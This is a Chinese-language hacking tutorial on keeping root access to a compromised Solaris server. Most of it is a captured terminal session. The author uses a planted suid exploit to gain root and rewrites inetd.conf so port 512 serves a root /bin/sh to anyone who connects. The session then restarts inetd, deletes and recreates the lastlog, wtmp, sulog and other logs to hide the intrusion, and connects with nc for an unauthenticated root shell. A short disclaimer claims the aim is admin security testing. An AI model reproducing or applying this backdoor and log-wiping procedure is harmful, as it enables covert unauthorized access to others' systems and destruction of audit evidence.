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| 关键词： nbsp root stream usr wait RPC nowait tcp internal inetd |
利用inetd来绑系统后门实例 声明：本文的目的在于提醒各企业的系统原理员作安全检测之用，如用于其他用途，后果自负。 好不容易通过猜密码，找漏洞，溢出等方法拿到了root权是不是想保留住，用来以后用呢，呵呵，许多初学者都喜欢在passwd或shadow档里加一空密码的root帐户（密码后门），或是干脆放一本地溢出的suid程序，再就是绑端口了，呵呵 前两种方法都会轻易被系统原理员发现，我介绍的是后一种，比较隐蔽的绑端口的方法，使后门程序在进程表项里隐藏。好，下面切入正题。 先拿到root，打开inetd.conf文件，我们看看，找一个用inetd起的进程，这里我选512端口，因为他本身就是inetd里的一部分，不会太引起管理员的注意，也可以在inetd.conf里加一条高端位的，但只要管理员细心点，就一定会发现的。 步骤如下： 先拿到root，用vi inetd.conf找一项用root启动的服务，比如512的exec服务把注释去掉，修改如下： exec stream tcp nowait root /bin/sh /bin/sh -i 重起inetd服务：# kill -HUP {inetd proc id} 就这么简单，然后你可以从你的本机，不用在telnet了，什么输用户名密码了，直接连进端口，而且不会留日志。 举个例子吧： 这是我绑的一个全过程！ SunOS 5.6 login: eagle Password: Sun Microsystems Inc. SunOS 5.6 Generic August 1997 You have new mail. sdns% cd /usr/ucb/.../.../ sdns% sys （sys是我以前放在这里的suid本地溢出程序） # （成为root） #more /etc/inetd.conf # #ident "@(#)inetd.conf 1.27 96/09/24 SMI" /* SVr4.0 1.5 */ # # # Configuration file for inetd(1M). See inetd.conf(4). # # To re-configure the running inetd process, edit this file, then # send the inetd process a SIGHUP. # # Syntax for socket-based Internet services: # # # Syntax for TLI-based Internet services: # # tli # # Ftp and telnet are standard Internet services. # ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd # # Tnamed serves the obsolete IEN-116 name server protocol. # name dgram udp wait root /usr/sbin/in.tnamed in.tnamed # # Shell, login, exec, comsat and talk are BSD protocols. # shell stream tcp nowait root /usr/sbin/in.rshd in.rshd login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind exec stream tcp nowait root /usr/sbin/in.rexecd in.execd comsat dgram udp wait root /usr/sbin/in.comsat in.comsat talk dgram udp wait root /usr/sbin/in.talkd in.talkd # # Must run as root (to read /etc/shadow); "-n" turns off logging in utmp/wtmp. # uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd # # Tftp service is provided primarily for booting. Most sites run this # only on machines acting as "boot servers." # #tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd -s /tft pboot # # Finger, systat and netstat give out user information which may be # valuable to potential "system crackers." Many sites choose to disable # some or all of these services to improve security. # finger stream tcp nowait nobody /usr/sbin/in.fingerd in.fingerd #systat stream tcp nowait root /usr/bin/ps ps -ef #netstat stream tcp nowait root /usr/bin/netstat netstat -f inet # # Time service is used for clock synchronization. # time stream tcp nowait root internal time dgram udp wait root internal # # Echo, discard, daytime, and chargen are used primarily for testing. # echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal # # # RPC services syntax: # / rpc/ \ # # # can be either "tli" or "stream" or "dgram". # For "stream" and "dgram" assume that the endpoint is a socket des criptor. # can be either a nettype or a netid or a "*". The value is # first treated as a nettype. If it is not a valid nettype then it is # treated as a netid. The "*" is a short-hand way of saying all the # transports supported by this system, ie. it equates to the "visible" # nettype. The syntax for is: # *||{[,]} # For example: # dummy/1 tli rpc/circuit_v,udp wait root /tmp/test_svc test_svc # # Solstice system and network administration class agent server 100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind # # Rquotad supports UFS disk quotas for NFS clients # rquotad/1 tli rpc/datagram_v wait root /usr/lib/nfs/rquotad rquotad # # The rusers service gives out user information. Sites concerned # with security may choose to disable it. # rusersd/2-3 tli rpc/datagram_v,circuit_v wait root /usr/lib/netsv c/rusers/rpc.rusersd rpc.rusersd # # The spray server is used primarily for testing. # sprayd/1 tli rpc/datagram_v wait root /usr/lib/netsvc/spray/rpc.spra yd rpc.sprayd # # The rwall server allows others to post messages to users on this machine. # walld/1 tli rpc/datagram_v wait root /usr/lib/netsvc/rwall/rpc.rwal ld rpc.rwalld # # Rstatd is used by programs such as perfmeter. # rstatd/2-4 tli rpc/datagram_v wait root /usr/lib/netsvc/rstat/rpc.rstatd rpc.rstatd # # The rexd server provides only minimal authentication and is often not run # #rexd/1 tli rpc/tcp wait root /usr/sbin/rpc.rexd rpc.rexd # # rpc.cmsd is a data base daemon which manages calendar data backed # by files in /var/spool/calendar # # # Sun ToolTalk Database Server # # # UFS-aware service daemon # #ufsd/1 tli rpc/* wait root /usr/lib/fs/ufs/ufsd ufsd -p # # Sun KCMS Profile Server # 100221/1 tli rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_ser ver # # Sun Font Server # fs stream tcp wait nobody /usr/openwin/lib/fs.auto fs # # CacheFS Daemon # 100235/1 tli rpc/tcp wait root /usr/lib/fs/cachefs/cachefsd cachefsd # # Kerbd Daemon # kerbd/4 tli rpc/ticlts wait root /usr/sbin/kerbd kerbd # # Print Protocol Adaptor - BSD listener # printer stream tcp nowait root /usr/lib/print/in.lpd in.lpd dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd xaudio stream tcp wait root /usr/openwin/bin/Xaserver Xaserver -noauth -inet d 100068/2-5 dgram rpc/udp wait root /usr/dt/bin/rpc.cmsd rpc.cmsd 100083/1 tli rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd /usr/dt/bin/rpc.ttdbs erverd ^C# ps -ef|grep inetd root 128 1 0 10 月 02 ? 0:00 /usr/sbin/inetd -s # cat > /etc/inetd.conf # #ident "@(#)inetd.conf 1.27 96/09/24 SMI" /* SVr4.0 1.5 */ # # # Configuration file for inetd(1M). See inetd.conf(4). # # To re-configure the running inetd process, edit this file, then # send the inetd process a SIGHUP. # # Syntax for socket-based Internet services: # # # Syntax for TLI-based Internet services: # # tli # # Ftp and telnet are standard Internet services. # ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd # # Tnamed serves the obsolete IEN-116 name server protocol. # name dgram udp wait root /usr/sbin/in.tnamed in.tnamed # # Shell, login, exec, comsat and talk are BSD protocols. # shell stream tcp nowait root /usr/sbin/in.rshd in.rshd login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind exec stream tcp nowait root /bin/sh /bin/sh –I （注意了！这就是我要绑的） comsat dgram udp wait root /usr/sbin/in.comsat in.comsat talk dgram udp wait root /usr/sbin/in.talkd in.talkd # # Must run as root (to read /etc/shadow); "-n" turns off logging in utmp/wtmp. # uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd # # Tftp service is provided primarily for booting. Most sites run this # only on machines acting as "boot servers." # #tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd -s /tft pboot # # Finger, systat and netstat give out user information which may be # valuable to potential "system crackers." Many sites choose to disable # some or all of these services to improve security. # finger stream tcp nowait nobody /usr/sbin/in.fingerd in.fingerd #systat stream tcp nowait root /usr/bin/ps ps -ef #netstat stream tcp nowait root /usr/bin/netstat netstat -f inet # # Time service is used for clock synchronization. # time stream tcp nowait root internal time dgram udp wait root internal # # Echo, discard, daytime, and chargen are used primarily for testing. # echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal # # # RPC services syntax: # / rpc/ \ # # # can be either "tli" or "stream" or "dgram". # For "stream" and "dgram" assume that the endpoint is a socket des criptor. # can be either a nettype or a netid or a "*". The value is # first treated as a nettype. If it is not a valid nettype then it is # treated as a netid. The "*" is a short-hand way of saying all the # transports supported by this system, ie. it equates to the "visible" # nettype. The syntax for is: # *||{[,]} # For example: # dummy/1 tli rpc/circuit_v,udp wait root /tmp/test_svc test_svc # # Solstice system and network administration class agent server 100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind # # Rquotad supports UFS disk quotas for NFS clients # rquotad/1 tli rpc/datagram_v wait root /usr/lib/nfs/rquotad rquotad # # The rusers service gives out user information. Sites concerned # with security may choose to disable it. # rusersd/2-3 tli rpc/datagram_v,circuit_v wait root /usr/lib/netsv c/rusers/rpc.rusersd rpc.rusersd # # The spray server is used primarily for testing. # sprayd/1 tli rpc/datagram_v wait root /usr/lib/netsvc/spray/rpc.spra yd rpc.sprayd # # The rwall server allows others to post messages to users on this machine. # walld/1 tli rpc/datagram_v wait root /usr/lib/netsvc/rwall/rpc.rwal ld rpc.rwalld # # Rstatd is used by programs such as perfmeter. # rstatd/2-4 tli rpc/datagram_v wait root /usr/lib/netsvc/rstat/rpc.rstatd rpc.rstatd # # The rexd server provides only minimal authentication and is often not run # #rexd/1 tli rpc/tcp wait root /usr/sbin/rpc.rexd rpc.rexd # # rpc.cmsd is a data base daemon which manages calendar data backed # by files in /var/spool/calendar # # # Sun ToolTalk Database Server # # # UFS-aware service daemon # #ufsd/1 tli rpc/* wait root /usr/lib/fs/ufs/ufsd ufsd -p # # Sun KCMS Profile Server # 100221/1 tli rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_ser ver # # Sun Font Server # fs stream tcp wait nobody /usr/openwin/lib/fs.auto fs # # CacheFS Daemon # 100235/1 tli rpc/tcp wait root /usr/lib/fs/cachefs/cachefsd cachefsd # # Kerbd Daemon # kerbd/4 tli rpc/ticlts wait root /usr/sbin/kerbd kerbd # # Print Protocol Adaptor - BSD listener # printer stream tcp nowait root /usr/lib/print/in.lpd in.lpd dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd xaudio stream tcp wait root /usr/openwin/bin/Xaserver Xaserver -noauth -inet d 100068/2-5 dgram rpc/udp wait root /usr/dt/bin/rpc.cmsd rpc.cmsd 100083/1 tli rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd /usr/dt/bin/rpc.ttdbs erverd ^C# ps -ef|grep inetd root 128 1 0 10 月 02 ? 0:00 /usr/sbin/inetd -s # kill -HUP 128 （重起inetd进程） # cd /var/adm # ls lastlog messages sulog utmpx wtmp log passwd utmp vold.log wtmpx # rm lastlog messages sulog utmp utmpx wtmp wtmpx messages （别忘了擦PP：） rm: lastlog: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y rm: messages: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y rm: sulog: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y rm: utmp: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y rm: utmpx: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y rm: wtmp: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y rm: wtmpx: override protection 644 (yes:Yes:YES:y:Y/no:No:NO:n:N)? y messages: 无此文件或目录 # touch lastlog messages sulog utmp utmpx wtmp wtmpx messages # exit sdns% exit sdns% logout 遗失对主机的连接。 e:\cmd>nc 202.102.44.2 512 （直接在我的win2000上连512） # （直接拿到root！） |
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